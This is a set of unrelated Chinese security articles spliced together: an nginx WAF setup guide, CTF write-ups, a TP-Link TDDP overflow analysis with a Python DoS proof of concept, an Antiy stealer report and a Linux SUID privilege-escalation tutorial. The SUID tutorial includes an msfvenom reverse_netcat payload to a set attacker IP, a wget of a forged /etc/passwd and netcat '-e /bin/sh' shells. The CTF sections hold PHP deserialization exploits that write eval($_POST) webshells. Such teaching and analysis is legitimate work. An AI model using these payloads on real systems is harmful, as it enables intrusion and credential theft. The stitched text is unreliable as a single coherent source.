ipBlocklist={"1.0.0.1"} --ip黑名单，多个ip用逗号分隔 CCDeny="on" --是否开启拦截cc攻击(需要nginx.conf的http段增加lua_shared_dict limit 10m;) CCrate = "100/60" --设置cc攻击频率，单位为秒. --默认1分钟同一个IP只能请求同一个地址100次 html=[[Please go away~~]] --警告内容,可在中括号内自定义 备注:不要乱动双引号，区分大小写 15.重启nginx服务 /usr/local/nginx/sbin/nginx -s reload 16.访问带恶意的连接地址，出现如下信息表示ngx_lua_waf已部署成功。 http://172.16.89.145/?s=../etc/passwd 0x03 记录WAF日志拦截记录 1.给logs日志记录添加授权用户www(该用户是nginx运行的用户)。 [root@localhost waf]# chown -R www.www /usr/local/nginx/logs/waf/ 2.给logs目录进行添加写入权限。 [root@localhost waf]# chmod 700/usr/local/nginx/logs/waf/ 3.可查看WAF记录的日志信息 [root@localhost waf]# cat localhost_2018-06-05_sec.log 0x04 其他规则说明 过滤规则在wafconf下，可根据需求自行调整，每条规则需换行,或者用|分割 args里面的规则get参数进行过滤的 url是只在get请求url过滤的规则 post是只在post请求过滤的规则 whitelist是白名单，里面的url匹配到不做过滤 user-agent是对user-agent的过滤规则 默认开启了get和post过滤，需要开启cookie过滤的，编辑waf.lua取消部分--注释即可日志文件名称格式如下:虚拟主机名_sec.log 0x05 总结 1.Nginx_lua_waf总体来说功能强大，相比其他软件防火墙Modsecurity还稍微简单点。 2.Ngx_lua_waf的bug主要就是防火墙策略写的不严谨导致的，会造成两种结果：一是部分***通过伪装绕过防火墙；二是防火墙策略配置不当会造成误杀。 3.另外根据站点的类型需要配置不同的策略，默认配置后全局生效。比如论坛等比较特殊允许很多html插入，这样的策略需要更宽松。 4.最后生成的hack记录日志可以通过ELK分析，ELK这边需要根据日志格式制作特殊模版，此模版能兼容大部分日志类型，还有少部分完全没有规律的日志分析不了。 5.最后ELK能展示日志分析结果分类，但是还不能区分各种ruletag类型***属于哪一种直白的表示出来。 6.最后建议ngx_lua_waf如果真的要用可以考虑在部分源站站点少量试用，前端站点不建议使用，等对该软件理解深入后才可线上使用。 7.补充：目前对ngx_lua_waf拒绝特定的user agent、拒绝特定后缀文件访问、防止sql注入三大类比较熟悉。 计划大概实施步骤： 1.不要一次性部署上线，先部署后，只记录日志，然后观察和调整规则，保证正常的请求不会被误防。 2.使用SaltStack管理规则库的更新。 3.使用ELKStack进行日志收集和分析，非常方便的可以在Kibana上做出一个漂亮的统计的饼图。（目前也能实现）

前言 继上篇文章 [HGAME]2024 WEEK1 writeup笔记 1年前0115717 Web有两道题没做出来 都有关java的 一个js混淆 一个是java的rce没做出来 在寒假的目标是肯定能开到java的不少内容的 2048*16 这道题太亏了,因为我见过很多题都是js泄露flag而且打过几场ctf都是泄露的 这次没有发现出来好难受 简单来说我们需要玩到32768分才能拿到flag 正常玩的话得玩个好久,但听用脚本挂的还是修改js的到32768也拿不到flag 我也尝试用脚本挂了 只不过那个脚本算力不强到五千分都算是顶尖了 js在浏览器查看不方便在线格式化一下 Javascript Deobfuscator (willnode.github.io) 最后在500多行发现了一个base64 在600多行又发现一个base64 翻阅后面代码无明显加密,判断突破点就在这两个base64 最后是换表base64 jhat 打开 翻译一下 jhat查询 jhat命令与jmap命令搭配使用，用于分析jmap生成的heap dump文件（堆转储快照）。jhat内置了一个微型的HTTP/HTML服务器，对生成的dump文件分析后，可以在浏览器中查看分析结果。 使用jhat命令，会启动一个http服务，默认端口7000。 按常规推理突破点应该是OQL查询了 翻阅了一下别人的wp HGAME 2024 WEEK1 WP-CSDN博客 发现师傅用的gpt4,真没想到gpt4还可以秒web,可惜域没有钱买gpt4 这题出的java以目前实力还不是很懂,只能暂且搁浅了

TDDP 服务程序在 UDP 端口 1040 上监听时，处理数据时未能正确检查长度，这导致了内存溢出，破坏了内存结构，最终引发了服务中断。 本文深入分析了一个在 2020 年向 TP-Link 报告的安全漏洞。遗憾的是，至今没有 CVE 编号分配给这个漏洞，因此相关的详细信息并未公之于众。通常，阅读技术分析报告能够带来丰富的见解和学习机会。我坚信，公开分享研究方法和成果对整个行业以及广大的学习者、学生和专业人士都有着积极的意义。 在本文中，我将使用 Shambles 这个工具来识别、逆向分析、模拟并验证这个导致服务中断的缓冲区溢出问题。如果您对 Shambles 感兴趣，可以通过加入 Discord 服务器并查阅 FAQ 频道来了解更多信息。 首先，我们来介绍一下 TDDP 协议，这是一种在专利 CN102096654A 中详细描述的二进制协议。您需要了解的所有协议细节都在专利描述中。不过，我会在这里为您做一个简要的总结。 TDDP 是 TP-LINK 设备调试协议的缩写，它主要用于通过单个 UDP 数据包进行设备调试。这种协议对于逆向分析来说非常有趣，因为它是一个需要解析的二进制协议。TDDP 数据包的作用是传输包含特定消息类型的请求或命令。下图展示了一个 TDDP 数据包的结构。 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ver | Type | Code | ReplyInfo | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | PktLength | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | PktID | SubType | Reserve | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | MD5 Digest[0-3] | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | MD5 Digest[4-7] | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | MD5 Digest[8-11] | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | MD5 Digest[12-15] | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 当您需要发送命令时，您需要调整 Type 和 SubType 这两个头部字段的值。据我所知，所有返回的数据都会使用 DES 加密，并且通常需要使用设备的用户名和密码来解密。发送给设备的配置数据也需要加密。DES 密钥是通过结合用户名和密码的 MD5 哈希值来生成的，具体做法是取哈希值的前 8 个字节。 下面这张图展示了整个缓冲区溢出的链条。我们将一步步分析，但您可能需要不时地回到上图来对照。 让我们来详细分析一下。下面展示的函数我们称之为 tddpEntry（sub_4045f8 0x004045F8），这是整个链条的起点。这个函数负责使用 TDDP 协议处理通信，通过不断检查传入的数据。它从 recvfrom 函数接收 UDP 数据，该函数用于从 dword_4178d0 指定的套接字接收数据。 接收到的数据被存储在缓冲区（varf4）中。在将数据传递给 TddpPktInterfaceFunction（sub_4045f8+330 0x00404B40）进行处理时，并没有对接收到的数据大小进行验证。如下图所示，GetTddpMaxPktBuff（sub_4042d0 0x004042D0）函数返回的值是 0x14000。 接下来是 TddpPktInterfaceFunction 函数的实现。 上面的条件判断块会处理数据包的第一个字节 p0 等于 2 的情况，即代码中的 *(byte *)p0 == 2。该函数通过设置数据包中的特定值和一个新的存储空间指针来传递数据。然后，它调用 tddp_versionTwoOpt（sub_404b40 0x00405990）函数来进一步处理数据包。在处理数据包时，off_42ba8c 的大小和分配的最大长度为 0x14000。tddp_versionTwoOpt 函数将数据传递给 tddp_deCode（sub_404fa4 0x00405014）进行解码验证。 tddp_deCode 函数会设置数据、DES 加密长度和指针，然后尝试解码传入的 TDDP 数据包（p0 和 p1）并验证解密数据的完整性。如果解码成功，它会更新解码后的数据并返回 0。 简而言之，tddp_deCode 函数的作用是解码 TDDP 数据包。在 tddp_deCode 函数中，数据和 DES 加密长度会被存储在 byte[4-8] 中，并且在调用 des_min_do 函数进行解密之前，会设置一个指向新存储数据的指针。值得注意的是，des_min_do 是 /lib/libutility_lib.so 库提供的一个函数。 同样地，大小和长度等参数也会被传递给 des_min_do 函数用于解密。 在从输入数据中提取必要的字段后，该函数使用提取的字节 byte[4-8] 来计算 DES 加密长度，并将指针设置指向新存储的数据，这个指针由变量 arg4 表示。 // Further up in the function arg0 = p0; arg4 = p1; // Pointer of the newly stored data // Line 99 var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18); 这里，arg4 作为参数传递给 des_min_do 函数，这个函数我们已经多次提到，它负责对数据进行解密。解密后的数据会从偏移量 arg4 + 28 的位置开始存储。 // Line 96 v18 = GetTddpMaxPktBuff() - 28; 结果值（v18）被用作后续操作的界限。上面的代码片段是在调用函数 sub_4042d0() 时的，它返回解密数据的大小。然后，从这个大小中减去 28，可能是为了计算某些头部的长度。这个值作为第四个参数传递。 这段内容有点长，也可能有些混乱，所以让我们来回顾一下。在 des_min_do 函数中，arg4 和 v18 是传递给函数的参数。变量 arg4 包含了 p1 的值，作为第三个参数传递给 des_min_do。arg4 用于提供 DES 数据的长度给 des_min_do 函数。v18 也作为第四个参数传递给 des_min_do，并且被赋值为 GetTddpMaxPktBuff() - 28 的结果。 现在让我们来看看 des_min_do 函数的实现。 如上图所示，当传入的 DES 加密长度大于最大尺寸限制 0x14000 时，函数会直接返回 0，而不进行解密。因此，如果 v6 是 0，v5 小于 p1，那么 DES 加密密钥将不会使用 DES_set_key_unchecked 设置，也不会执行解密。所以在这个时候，des_min_do 函数将返回 0。 在 tddp_deCode 函数中执行了一些其他操作后，我们来到了 MD5 摘要验证环节。 在 tddp_deCode 函数处理完毕后，会提取存储在 byte[13-28] 中的 MD5 摘要，并与当前数据集的整个 MD5 摘要进行比较。在比较 MD5 摘要时，原始的 MD5 摘要 byte[13-28] 位置会被设置为 0。如下图所示的内存写操作。 *(byte *)(arg4 + var38 + 28) = 0; 由于 arg4 是包含 MD5 摘要的数据结构，var38 保存了缓冲区中 MD5 摘要开始的偏移量。通过将这个位置的字节设置为 0，它有效地修改了存储的 MD5 摘要，该摘要存储在缓冲区的 byte[13-28] 中。这种修改使得后续的比较能够确定重新计算的 MD5 摘要是否与原始存储的 MD5 摘要匹配。 所以！存储在 byte[13-28] 中的 MD5 摘要被提取出来。然后，这个提取的 MD5 摘要会与 MD5 摘要数据进行比较，其中原始 MD5 摘要 byte[13-28] 位置被设置为 0。如果验证过程正确（即，提取的 MD5 摘要与当前数据的 MD5 摘要相匹配），tddp_deCode 函数将继续处理，将新存储内容的指针指向 byte[4-8] + 28 的位置，并设置字节位置为 0。由于 byte[4-8] 是可以控制的，我们可以引发溢出（如果值大于 0x14000），将其写为 0 会导致内存损坏，因为它破坏了内存结构并引发了服务中断（DoS）状态。 让我们用 Shambles 来做一个概念验证（POC）吧！这个过程实际上只需要 5 分钟。只需创建一个虚拟机并将其映射到包含所有固件二进制文件的第二个文件系统。 然后我们只需启动虚拟机，如下所示，无需对固件做任何修改，它就能完美运行。 通过内置的 SSH 控制台，我们将手动启动 httpd 程序。 我们可以通过设置反向代理并访问页面来验证它是否正常工作。 我们还将启动 tddpd 服务。 在我们尝试对系统进行任何操作之前，始终要验证所需的服务是否正在运行。我们在下图确认 tddpd 正在端口 1040 上运行。 我将通过本地端口 10461 访问虚拟机的端口 1040。 我们需要在 byte[4-8] 中将 v0 设置为 0x01000000。UDP 数据包仍然必须是有效的并被识别。所以根据专利信息，我们将设置以下值： byte[0]: Ver byte[4-8]: PktLength byte[13-28]: MD5 digest byte[29-N]: DES --------------------------------- TDDP version = "02" TDDP user config = "01 00 00 00" TDDP code request type = "01" TDDP reply info status (OK) = "00" TDDP padding = "%0.16X" % 00 最终的概念验证代码如下， import socket import hashlib bytes12 = bytes([0x02, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x34, 0x56, 0x78]) magic = (0x00).to_bytes(length=16, byteorder='big') tmp_data_bytes = bytes12 + magic md5_bytes = hashlib.md5(tmp_data_bytes).digest() data_bytes = bytes12 + md5_bytes s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(data_bytes, ("127.0.0.1", 10461)) data = s.recv(1024) print('recv:' + data.decode()) s.close() 一旦执行，我们可以查看 Shambles 虚拟机的日志，发现 tddpd 程序已经崩溃。 通过调试，我们可以确认崩溃的原因是传入的 v0=0x01000000 超出了范围，导致写入值为 0，从而引发了崩溃。 原文链接：Lian Security

0x00 基础知识 众所周知，在Linux中一切都以文件存在，包括具有允许或限制三个执行操作（即读/写/执行）权限的目录和设备。因此，当给任何文件设置权限时，应该需要了解允许的Linux用户或限制所有三个操作的权限。看如下图所示： 从上图中可看到用于为每个用户设置组合许可的最大位数是7，它是read（4）write（2）和execute（1）操作的组合。例如，如果设置chmod 755，那么它就相当于rwxr-xr-x。 但是当给每个用户特殊许可时，它将变为SUID,SGID和 sticky bits。当其他位设置成“4”时，它变为SUID（设置用户ID），当位“2”设置为组时，它变为SGID（设置组ID），并且如果允许其他用户创建或删除任何用户ID在目录中的文件然后将 sticky bits位 “1”设置到该目录。 1.什么是SUID许可? SUID： Set User ID是一种权限类型，允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统，并且我们发现二进制文件启用了suid位，那么这些文件/程序/命令可以root权限运行.SUID的目的就是：让本来没有相应权限的用户运行这个程序时，可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子，下面我们就来了解一下这相passwd执行的过程。 怎么设置suid？ 基本上，您可以使用“数字”方法或“符号”方法更改任何文件的权限。结果它将从s替换为 x，如下图所示，表示对特定文件/命令具有更高权限的特殊执行权限。由于为用户启用SUID，因此将在读/写/执行操作之前添加位4或符号s。 如果使用ls -al执行文件命令查看，您将看到到符号small 's'，如上图所示，则表示该文件的SUID位已启用，并且可以使用root权限运行。 2.SUID如何帮助普通用户提升权限? 在Linux中，如果启用了SUID位，非root用户可以使用某些现有的二进制文件和命令将特权升级为root访问权限。有一些著名的Linux / Unix可执行文件命令可以让权限升级如命令：Bash，Cat，cp，echo，find，Less，More，Nano，Nmap，Vim。 让我们用实例深入了解。首先，创建一个不是sudo组用户的用户。这里我们添加了一个用户“ignite”，其UID为1001，GID为1001，因此 ignite是非root用户。 0x01 使用“cp”命令进行权限提升 如果为用于复制数据的cp命令启用了suid位，则可导致权限升级以获得root访问权限。例如，假设系统管理员想要为cp命令提供SUID权限。然后，您可以按照以下步骤确定其位置和当前权限，然后可以通过更改权限启用SUID位。 which cp ls -al /bin/cp chmod u+s /bin/cp 1.第一种方法 另一方面，开始远程以普通权限登录到目标系统并通过查找命令，然后转移到权限提升阶段。假设通过ssh成功登录受害者的计算机并访问非root用户终端。然后通过使用以下命令，您可以枚举具有SUID权限的所有二进制文件。 从上图中可以看到它显示的文件太多但我们重点注意/bin/cp文。因为现在我们可以复制 /etc/password文件来读取用户列表。因此将password文件复制到html目录下。 cp /etc/passwd /var/www/html 另一方面，我们使用OpenSSL passwd生成了一个新的用户hack并设置密码为pass123 我们已经复制的文件也就是在web目录下/var/www/htm的 passwd 文件，所以可以通过网络浏览器访问并下载打开它，然后复制password文件的全部内容到一个文本文件中，并可以添加我们自己的用户与 root UID，GID和目录信息。 在之前的文章中，已经讨论了如何使用openssl passwd实用程序添加用户/etc/passwd。 在我们的另一台服务器上运行Python HTTP服务，将我们编辑的passwd文件传输到受害者机器上。 python -m SimpleHTTPServer 80 众所周知，/tmp目录具有创建或删除任何文件的所有权限，因此在该目录下下载了已修改好的passwd文件。一旦它被下载，然后我们将/tmp/passwd的文件拷贝到/etc/passwd中，结果它将覆盖原始的passwd文件。 命令如下： cd /tmp wget http://192.168.1.108/passwd cp passwd /etc/passwd 在tail命令的帮助下，我们确保我们添加的用户hack是/etc/passwd文件存储了用户信息。由于我们已经添加了具有root权限的用户，因此将进入root目录. 命令如下： tail -n 4/etc/passwd su hack whoam 可以成功看到升级为root权限。 2.第二种方法 同样如果为cp命令启用SUID位，我们也可以在目标系统中传输后门。这里我们使用msfvenom命令为反向连接生成了natcat后门。 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R 然后复制上面突出显示的代码，并通过编辑bash文件将内容粘贴进去，然后准备将它转移到目标的系统中，这里已保存为raj.sh。 现在我们都知道Linux crontab实用计划程序是以每小时，每天，每周和每月运行文件，因此在/etc/cron.hourly目录中复制了raj.sh。它将在一小时后运行raj.sh文件。 命令如下： cp raj.sh /etc/cron.hourly/ ls -al /etc/cron.hourly/ 另一方面，我们在一个新的终端中启动了Netcat监听，并且随着时间的推移，它将提供目标系统的root权限反向连接。因此，我们看到如果SUID位为ON，单个cp命令如何进行权限提升。您可以使用cp命令尝试以自己的方式提升root权限。 0x02 使用Find命令进行权限提升 同样，如果find命令的SUID位为ON，我们可以升级root权限。例如，假设（系统管理员想要为Find命令提供SUID权限。然后，可以按照以下步骤确定其位置和当前权限，然后您可以通过更改权限启用SUID位. which find ls -al /usr/bin/find chmod u+s /usr/bin/find 再次攻击目标系统，然后如上图所述移动特权升级阶段。然后，通过使用以下命令，您可以枚举具有SUID权限的所有二进制文件。 find/-perm-u=s-typef2>/dev/null 所以在这里我们知道命令已启用了SUID位，这意味着我们可以在find命令中执行任何命令。首先，我们创建一个空文件“raj”，然后运行whoami命令，如下所示。 touch raj find raj -exec "whoami" \; 如果攻击者成功枚举了/usr/bin/find的SUID位，那么将允许执行任何恶意命令，例如netcat bin/bash shell命令，或者可以获取重要的系统信息以进行权限提升。 0x03使用Vim进行权限提升 同样，如果Vim编辑器的SUID位为ON，我们可以升级为root权限。例如，假设系统管理员想要为Vim编辑器提供SUID权限。然后，可以按照以下步骤确定其位置和当前权限，然后可以通过更改权限启用SUID位。 命令如下： which vim ls -al /usr/bin/vim ls -al /usr/bin/alternatives/vim chmod u+s /usr/bin/vim.basic 您将通过软链接到vim.basic，如下图所示。 再次攻击目标系统，然后如上图所述移动特权升级阶段。然后，通过使用以下命令，可以枚举所有具有SUID权限的二进制文件。 find / -perm -u=s -type f 2>/dev/null 所以在这里我们知道为/usr/bin/vim.basic启用了SUID位，因此现在我们可以编辑通过vim只能由sudo或root用户编辑的文件。 我们知道ignite是权限最小的非root用户，因为vim具有SUID权限，因此，我们可以通过它编辑sudoers文件，并可以更改用户“ignite”的权限。因此，我们通过键入visudo命令打开sudoers文件，并向用户ignite授权所有者权限，如图所示。 ignite ALL=(ALL:ALL) ALL 现在让我们访问根目录，这个技巧也可以很好地用于权限提升。 如下命令： sudo -l sudo bash id 0x04 使用保存的脚本进行权限提升 获得系统或程序调用的任何类型的脚本都有最大的机会进行权限提升，它可以是PHP，Python或C语言脚本的任何脚本。假设系统管理员想要为C语言脚本提供SUID权限，该脚本将在执行时提供bash shell。所以这里我们编写了一个c程序，它将为bash shell调用系统并将其保存为“asroot.c”。 然后在/bi目录中创建一个rootshell目录并复制asroot.c文件到该目录下，然后运行gcc编译器进行编译。 mkdir /bin/rootshell cd /bin/rootshell cp /home/raj/Desktop/asroot.c . ls gcc asroot.c -o shell chmod u+s shell ls -al shell 现在再次攻击目标系统并使用find命令识别具有SUID权限的二进制文件。 find/-perm-u=s-typef2>/dev/null 所以在这里我们开始知道列出了二进制文件启用的suid位，但我们重点观察/bin/rootshell/shell。所以进入到/ bin/rootshell目录下并运行脚本“shell”，结果我们获得root访问权限，如下所示。 0x06 使用Nano的权限提升 同样，如果SUID位为ON，则我们可以升级root权限。例如，假设系统管理员想要为nano编辑器提供SUID权限。然后，可以按照以下步骤确定其位置和当前权限，可以通过更改权限启用SUID位。 如下命令： which nano ls -al /bin/nano chmod u+s /bin/nano 再次攻击目标系统，然后如上所述移动特权升级阶段。然后，通过使用以下命令，可以枚举具有SUID权限的所有二进制文件。 find/-perm-u=s-typef2>/dev/null 所以在这里我们开始知道为/bin/nano启用了SUID位，现在让我们打开/etc/passwd文件来编辑自己的用户，如上所述，使用openssl passwd。 另一方面，我使用openssl passwd添加一个新的用户名的demo以及密码123 现在使用nano编辑器打开passwd文件并添加您自己的用户，如上所述。在这里，您可以看到在受害者的系统中创建了带有加密密码的演示用户。 su demo id 如果为/ bin/nano启用了suid位，那么可以从/etc/shadow文件中窃取密码。因此，在攻击了目标机器后，我们在nano编辑器中打开了shadow文件，并为用户复制加密密码：raj。 现在将上面的代码复制粘贴到文本文件中并在桌面上保存为hash，然后使用john对其进行破解，如下所示。它已经现实出用户名raj以及密码123，现在尝试通过raj帐户登录目标系统。 0x07 其他tips技巧 1.Nmap 老版本的nmap（2.02-5.21）有 interactive，是允许用户执行系统命令的。提权方式 nmap --interactive 之后执行命令： nmap> !sh sh-3.2# whoami root msf中的模块为： exploit/unix/local/setuid_nmap 2.Find touch test find test -exec whoami \; 如果服务器上装了nc，可以直接使用以下命令进行监听： find test -exec netcat -lvp 5555 -e /bin/sh \; 之后进行连接： netcat 192.168.1.100 5555 则可获取root shell 3.vim/vi 打开vim,按下ESC :set shell=/bin/sh :shell 则可执行命令 4.bash bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service) 5.less less /etc/passwd !/bin/sh 6.more more /home/pelle/myfile !/bin/bash 7.cp 使用cp覆盖 /etc/shadow 8.mv 使用mv 覆盖 /etc/shadow 或者/etc/sudoers 9.awk awk 'BEGIN {system("/bin/bash")}' 10.man man passwd !/bin/bash 11.python/perl/ruby/lua/etc perl： exec "/bin/bash"; python： import os os.system("/bin/bash") 12.tcpdump echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

前言 本次主要是刷题 Web 258 直接生成,会pass掉以0开头+数字的不分大小写 仔细发现一共有两处 绕过正则 $b=str_replace(':11',':+11',$a); $d=str_replace(':8',':+8',$c); exp <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code='eval($_POST[1]);'; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); } $a=new ctfShowUser(); $b=serialize($a); $c=str_replace(':11',':+11',$b); $d=str_replace(':8',':+8',$c); var_dump($d); var_dump(urlencode(($d))); ?> Web259 这个题有点难,考的是csrf,这题属实做不出来了 根据flag.php的内容 这段代码的逻辑是：首先检查客户端IP地址是否为’127.0.0.1’，如果是，则检查POST请求中的token值是否为’ctfshow’，如果也符合条件，则将$flag的内容写入到名为’flag.txt’的文件中。否则，输出错误信息并终止脚本执行。 做不出来了…. Web260 可能是259太难了,260就给简单了 梭了 Web261 期中code是用username和password进行拼接的 所以限制username的值必须为877开头 exp： <?php class ctfshowvip{ public $username='877godyu666.php'; public $password='<?php eval($_POST[1]);?>'; public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } $c=new ctfshowvip(); echo serialize($c); echo "\n"; echo urlencode(serialize($c)); ?> 传参 经过测试flag并不在此目录在根目录 直接拿 Web262 根据上面漏出的message.php我们去访问一下 发现message和index毫无关联 构造exp <?php class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $a=new message('1','2','3'); $b=serialize($a); var_dump(base64_encode($b)); ?> Web263(最难的一个) 查看源代码 先看一下check.php调用了json 对于json学的不是很好,扔进gpt分析一下代码 发现有用但用处不大,我们审查一下 确实是u和pass 因为该登录框有实战渗透的感觉，我们去扫一下目录 扫描出来了check.php index.php 和www.zip 可以判断泄露了源代码文件 别的不说,先打开flag.php看一下 被掩盖了，我们在去检查一下check.php 查看inc.php 一般config.php都是上传之后被改过的 所以我们没必要去连3306 看见了登录限制 但不知道是几次 我们去index.php去查看 引用一下别人的思路(他的wp期中一点是错的 index.php里 session处理器是php_serialize 思路 知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化. php . ini 中默认 session.serialize_handler 为 php_serialize，而 check.php 中将其设置为 php ，这个差异就导致了 sesssion 反序列化问题。 php有三种处理器对$_SESSION数据进行序列化和反序列化。 网上的见解选择吸收,一些方面说的不好甚至是错误,我们应该真正的去理解反序列化漏洞而不是简单的看wp 我们应该用辩证的眼光去判断每一个人的题解,当然我的题解欢迎来纠错我写了好久来着 我们重头梳理一下 index.php中的第一个session应该是limit他写成了limti导致limti未被定义是0永远小于5 根据二元表达式$_SESSION[‘limti’]>5?如果大于执行die(“登陆失败次数超过限制”):如果小于执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]); 所以会永远的执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);也就是将index.php中的session设置成为cookie_limit的base64解码 这里出题人提醒这里是包含了/inc/inc.php (服务器上有,但下载源码上没有,如果没有他们之间的session就不能互通,这题就没法做下去了,必须是session互通才能打反序列化漏洞) 简而言之就是check和inc里的session能在index.php里引用 但是二者对session的处理方法是不一样的 既然知道了二者的session方法处理不一样(index里默认是php_serialize)那如何利用呢 在index里是没有利用条件的 然而在inc.php里我们发现使用了file_put_contents函数意味着我们可以控制username的后缀为.php将password里面的内容写进username里 那么我们知道了利用条件就要构造exp 先看一下区别 此时注意注意 对于session的处理方法 php 和php_serialize是不同的 在test中写下的cookie是无法被index.php 设置的 为了更好理解 我们去测试一下二者区别 session处理器->php <?php session_start(); ini_set('session.serialize_handler', 'php'); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new User('1.php','<?php eval($_POST[1]);?>'); $_SESSION[user]=$a; ?> 我们去生成一下并找到session文件 发现以php处理session的结果为 user|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;} 我们更换session的处理方式为php_serialize 再次查看结果 a:1:{s:4:”user”;O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}} 我们清楚的看到区别二者的不同区别 可以看到php和php_serialize的区别 php的键名显示在括号外 我们目的是在inc里（使用的是php处理器）写入 在index里（php_serialize里设置cookie）在反过来在 check.php里调用 而调用的时候因为我们加了|键名和键值就变了 <?php session_start(); ini_set('session.serialize_handler', 'php'); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new User('1.php','<?php eval($_POST[1]);?>'); echo serialize($a); echo "\n"; $b="|".serialize($a); echo $b; $_SESSION[user1]=$b; ?> 我们此时加| 可以看到 user|s:105:”|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}”; 我们的键值此时就发生了改变 左面为键名|右面为键值 根据base64的判断 我们还需要对其转换一下 对cookie我们最好进行url编码 最后的exp <?php class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } } $user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>'); echo urlencode(base64_encode('|'.serialize($user))); ?> 先访问Index.php 写入cookie在访问/check.php 写入log-1.php

1 概览 近期，安天CERT监测到通过GitHub传播窃密木马的攻击活动。攻击者在其发布项目的环境依赖文件requirements.txt中添加恶意URL，以获取其恶意篡改的流行开源模块，从而在受害者电脑中植入窃密木马。 攻击者使用空格将恶意代码掩藏在该行代码的末尾，以避免被用户察觉；并使用多种手段对恶意代码进行混淆处理，以规避安全产品检测、阻碍安全人员分析。经过多层脚本载荷的传递后，将执行一种由Python编写的窃密木马。该窃密木马会在受害主机中窃取浏览器、社交平台、加密货币钱包、游戏客户端中的敏感信息，并针对目标路径中匹配关键词的文件夹及文件进行窃取，最终将窃密数据回传至C2服务器或上传至文件共享平台Gofile中。 在此次攻击活动中，攻击者在自己发布的项目中引入经过恶意篡改的流行开源模块，从而传播窃密木马。对流行的开源项目进行篡改，在其中添加恶意代码后重新打包并在发布的项目中进行恶意引用，已经成为一种攻击方式，用户很难察觉环境依赖文件中是否存在异常。用户在使用网络中非流行、未证实安全性的开源项目时也需保持警惕，以避免执行掩藏在其中的恶意代码。 经验证，安天智甲终端防御系统（简称IEP）可实现对该窃密木马的有效查杀。 2 技术梳理 攻击者在GitHub中上传项目，并在环境依赖文件requirements.txt中添加恶意URL。当用户使用该项目时，需要根据该文件中的内容进行配置，从而下载执行经过攻击者恶意篡改的colorama模块。 攻击者添加的恶意代码用于从其服务器中获取“version”文件，该文件使用Fernet算法进行加解密，执行后获取“inj”文件并写入临时文件中；“inj”文件经过混淆处理，通过zlib对代码进行解压；解压后的代码用于获取最终的窃密木马，通过注册表实现持久化，并向C2服务器回传受害主机的用户名称、IP信息等基本数据。 该窃密木马会窃取指定浏览器、社交平台、加密货币钱包、游戏客户端中的敏感数据，并对目标路径中含有关键词的文件夹中的文件（最多7个）、以及含有关键词且大小小于500000字节（约488KiB）的文件进行窃取。完成窃密行为后，窃密木马通过HTTP POST方式将窃密数据回传至C2服务器中。当第一种回传方式出错时，该窃密木马会将窃取的数据上传至文件共享平台Gofile。 图 2‑1攻击流程图 3 关联分析 此次发现的恶意GitHub项目是“Discord-Token-Generator”，最早于2024年1月份创建。 图 3‑1恶意GitHub项目 该项目的环境依赖文件requirements.txt中包含一个托管colorama-0.4.6.tar.gz的URL。攻击者对域名进行了伪装，在流行开源模块colorama-0.4.6中添加了恶意代码，并进行重新打包。 图 3‑2恶意Github项目中的requirements.txt文件 